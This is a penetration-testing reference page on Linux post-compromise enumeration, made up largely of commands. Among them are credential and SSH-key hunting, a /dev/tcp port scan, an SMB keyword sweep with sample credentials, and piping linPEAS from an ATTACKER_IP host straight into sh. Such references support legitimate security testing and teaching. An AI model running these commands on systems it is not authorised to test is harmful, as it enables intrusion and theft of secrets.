Linux OS Enumeration

The goal here is building a full picture of the box before touching anything: who you are, what’s running, what’s reachable, and what’s lying around unprotected. Everything on this page is information gathering, exploiting what it turns up (SUID binaries, capabilities, GTFOBins, wildcard injection) is covered separately in the upcoming Privilege Escalation page, this one is strictly “what does this system look like.”

Local Enumeration

Run from an existing shell on the box: system info, users, processes, filesystem, credentials lying in plain sight.

Automated Sweeps

linPEAS/LinEnum run everything below (and more) in one pass, worth kicking off in the background while you work through things manually.

System Information

Start broad: what distro, what kernel, what’s actually installed. The kernel version in particular is worth noting immediately, it’s the first thing to cross-reference against a kernel exploit suggester later.

hostname                    # machine name
uname -a                    # kernel version, architecture, hostname in one line
cat /etc/issue               # pre-login banner, often reveals OS/distro
cat /etc/*release            # distro name and version (works across most distros)
sudo -V                      # sudo version, worth checking against known sudo CVEs

lscpu                        # CPU architecture and core count
df -h                         # mounted filesystems and free space
cat /etc/shells               # shells available on the system
dpkg -l                        # installed packages (Debian/Ubuntu); use rpm -qa on RHEL/CentOS
env; printenv                 # environment variables, sometimes leak paths/credentials
echo $PATH                    # resolution order for binaries, relevant later for PATH hijacking

Match the kernel version and distro against linux-exploit-suggester once you have it, a known unpatched kernel CVE can be a faster win than any local misconfiguration.

Container & Virtualization Check

Worth confirming early, since it changes what “privilege escalation” even means here, root inside a container is not root on the host, and some techniques (kernel exploits especially) behave differently or not at all.

cat /proc/1/cgroup | grep -i docker       # non-empty output usually means you're in a Docker container
ls -la / | grep -i .dockerenv              # .dockerenv file present = Docker
systemd-detect-virt                        # reports the virtualization/container type directly, if systemd is present

groups                                     # check membership in docker/lxd groups
ls -la /var/run/docker.sock                # writable docker socket = container escape / host root

Users & Groups

whoami; id                      # current user, uid/gid, and all group memberships in one shot
cat /etc/passwd                 # every local user account (readable by all, even without root)
cat /etc/group                  # group definitions and membership
getent group sudo               # members of a specific group (swap sudo for docker, adm, etc.)

sudo -l                          # commands the current user can run as another user/root, start here

sudo -l is one of the highest-value commands on this entire page, run it immediately after confirming a shell. Whatever it returns feeds directly into the privilege escalation page next.

who; last; lastlog               # currently logged in, login history, last login per user
history                          # current user's shell history, often has stray credentials or useful commands

Network Information

ip a                              # interfaces and assigned IPs (ifconfig as a fallback on older systems)
ip route                          # routing table, reveals other reachable subnets
arp -a                            # ARP cache, other hosts this machine has recently talked to
ss -tulpn                         # listening ports and the process behind each (netstat -ano as a fallback)
cat /etc/hosts                    # static hostname mappings, sometimes names internal hosts a scanner won't find
cat /etc/resolv.conf               # configured DNS servers

A port bound only to 127.0.0.1 is invisible from outside but reachable from this shell directly, worth comparing the ss output against what an external nmap scan showed, the difference is often a service worth pivoting through.

Pivoting one-liners: ping sweep and port scan without extra tools

Useful when this box has reach into a subnet nothing else can touch directly.

for i in {1..254}; do (ping -c 1 172.16.5.$i | grep "bytes from" &); done

for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null && echo "port $port is open"; done

Processes & Scheduled Tasks

ps aux                            # all running processes; ps aux | grep root to spot what's running as root
top                                # live view, useful to catch a short-lived process cron fires periodically

Scheduled tasks are worth checking even without write access to any of them, knowing what runs automatically (and as which user) shapes what to look for elsewhere.

crontab -l                         # current user's cron jobs
cat /etc/crontab                   # system-wide cron table
ls -la /etc/cron.d/ /etc/cron.*/   # system cron directories
systemctl list-timers --all        # systemd timers, the modern equivalent of cron on most current distros

pspy watches process creation without needing root, catching a root-run cron job’s exact command line, including one that only fires for a few seconds, is routinely how a box with nothing else wrong gets popped.

./pspy64 -pf -i 1000

Filesystem, Permissions & Mounts

lsblk                               # block devices and partitions
cat /etc/fstab                       # configured mounts, including anything auto-mounted at boot
cat /etc/exports                     # NFS exports; a no_root_squash entry here is worth flagging immediately

Permission bits worth enumerating now, even though acting on them belongs to the privilege escalation page:

find / -perm -4000 -type f 2>/dev/null          # SUID binaries, run as the file owner regardless of caller
find / -perm -2000 -type f 2>/dev/null          # SGID binaries, run as the file's group
find / -path /proc -prune -o -writable -type d -print 2>/dev/null   # world/group-writable directories
find / -path /proc -prune -o -writable -type f -print 2>/dev/null   # world/group-writable files

find / -type f -exec getcap {} \; 2>/dev/null   # Linux capabilities assigned to any binary

Finding a SUID binary, a writable file owned by root, or an interesting capability here is a lead, not a result. What to actually do with each one (GTFOBins lookups, capability abuse, writable-script hijacking) belongs on the privilege escalation page, this page is where you collect the leads.

Credential & Secret Hunting

Looking for anything left behind, config files, scripts, history, logs, that leaks a password, key, or token directly.

find / -type f -name "*.conf" -o -name "*.config" 2>/dev/null | grep -v "^/usr/share\|^/usr/lib"
grep -rn "password\|passwd\|db_user\|db_password" --include="*.conf" --include="*.config" / 2>/dev/null

find / -type f \( -name "*_hist" -o -name "*_history" \) 2>/dev/null   # shell/tool history files outside the current user
find / -type d -name ".*" 2>/dev/null                                   # hidden directories
find / -type f -name ".*" 2>/dev/null | grep -v "^/proc\|^/sys"         # hidden files, filtered to cut noise

find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"    # custom shell scripts, worth reading
ls -la /tmp /var/tmp /dev/shm                                            # sometimes still holds leftover creds or tools

SSH keys are one of the highest-value finds on a box, worth a dedicated pass rather than relying on the generic hidden-file search above to catch them.

find / -name "id_rsa*" -o -name "id_ecdsa*" -o -name "id_ed25519*" 2>/dev/null
grep -rlE '^-----BEGIN [A-Z0-9]+ PRIVATE KEY-----$' / 2>/dev/null

Log files sometimes retain exactly what caused a failed login or a sudo invocation, worth grepping rather than reading line by line.

for f in /var/log/*; do grep -lE "accepted|session opened|session closed|failure|failed|password changed|sudo|COMMAND=" "$f" 2>/dev/null; done

Broader sweeps: database files, documents, and programming/script files

Cast a wider net once the targeted searches above come up empty.

find / \( -name "*.sql" -o -name "*.db" -o -name "*.sqlite*" \) 2>/dev/null | grep -v "doc\|lib\|headers\|share"

find / \( -name "*.xls*" -o -name "*.doc*" -o -name "*.pdf" -o -name "*.ppt*" -o -name "*.od*" \) 2>/dev/null | grep -v "lib\|fonts\|share\|core"

find / \( -name "*.py" -o -name "*.pl" -o -name "*.go" -o -name "*.jar" -o -name "*.c" \) 2>/dev/null | grep -v "doc\|lib\|headers\|share"

manspider does the same keyword sweep against remote SMB shares instead of the local filesystem, useful once you’ve got a foothold and credentials to try against neighboring hosts.

manspider 192.168.0.0/24 -f passw user admin account network login logon cred -d evilcorp -u bob -p Passw0rd

Domain Indicators (Linux Joined to AD)

A Linux box can be domain-joined via sssd or Winbind, worth checking since it opens up every Kerberos/AD technique on top of whatever local privesc exists.

realm list                          # shows the joined domain, if any
ps -ef | grep -iE "winbind|sssd"     # domain-join services running
env | grep -i krb5                   # Kerberos environment config
find / -iname "*keytab*" 2>/dev/null # keytab files contain Kerberos keys in plaintext-equivalent form

Automated Enumeration

Running a script catches things a manual pass misses or would take too long to check by hand, worth kicking off early and reviewing its output while continuing the manual checks above.

linPEAS

The most thorough automated Linux enumeration script, color-coded output flags likely privesc vectors directly.

LinEnum

Lighter and faster than linPEAS, a reasonable choice when the target is slow or linPEAS’s output is too noisy to wade through.

linPEAS
LinEnum

Grab it straight onto the target with curl or wget, piping directly into sh skips writing to disk at all, useful on a box with limited write access or where you’d rather not leave the script sitting around.

# with curl
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# with wget
wget -qO- https://github.com/peass-ng/PEASSng/releases/latest/download/linpeas.sh | sh

Saving a copy first lets you re-run it with flags (-a for all checks including slower ones, -s for superfast mode) and keep the output logged to a file for later review.

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a | tee linpeas-output.txt

If outbound internet access isn’t available from the target, serve it from your attacking box instead and pull it over the local network (see File Transfer for the full set of transfer methods):

# attacker
python3 -m http.server 8000
# target
curl http://ATTACKER_IP:8000/linpeas.sh | sh

curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t

-t includes the slower, more thorough checks (writable file search, etc.), drop it for a quicker first pass. -r report.txt writes the output to a file instead of just the terminal, worth using when the output will be reviewed later or handed off.

./LinEnum.sh -t -r report.txt

Password Hash Reference

Useful for recognizing what you’re looking at if you get hashes from/etc/shadow or a dump .

Algorithm	Format
Salted MD5	$1$ …
SHA-256	$5$ …
SHA-512	$6$ …
BCrypt	$2a$ …
Scrypt	$7$ …
Argon2	$argon2i$ …

Quick Reference Tools

GTFOBins

Lookup table of binaries that can be abused for privilege escalation once SUID/sudo/capability enumeration above turns up a candidate.

linPEAS

Automated enumeration, see above.

pspy

Unprivileged process monitoring, catches cron jobs and scheduled tasks live.

linux-exploit-suggester

Matches the kernel version against known local kernel exploits.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

Linux OS Enumeration

Local Enumeration

Automated Sweeps

System Information

Container & Virtualization Check

Users & Groups

Network Information

Processes & Scheduled Tasks

Filesystem, Permissions & Mounts

Credential & Secret Hunting

Domain Indicators (Linux Joined to AD)

Automated Enumeration

linPEAS

LinEnum

Password Hash Reference

Quick Reference Tools

GTFOBins

linPEAS

pspy

linux-exploit-suggester

Local Enumeration

Automated Sweeps

​System Information

​Container & Virtualization Check

​Users & Groups

​Network Information

​Processes & Scheduled Tasks

​Filesystem, Permissions & Mounts

​Credential & Secret Hunting

​Domain Indicators (Linux Joined to AD)

​Automated Enumeration

linPEAS

LinEnum

​Password Hash Reference

​Quick Reference Tools

GTFOBins

linPEAS

pspy

linux-exploit-suggester

System Information

Container & Virtualization Check

Users & Groups

Network Information

Processes & Scheduled Tasks

Filesystem, Permissions & Mounts

Credential & Secret Hunting

Domain Indicators (Linux Joined to AD)

Automated Enumeration

Password Hash Reference

Quick Reference Tools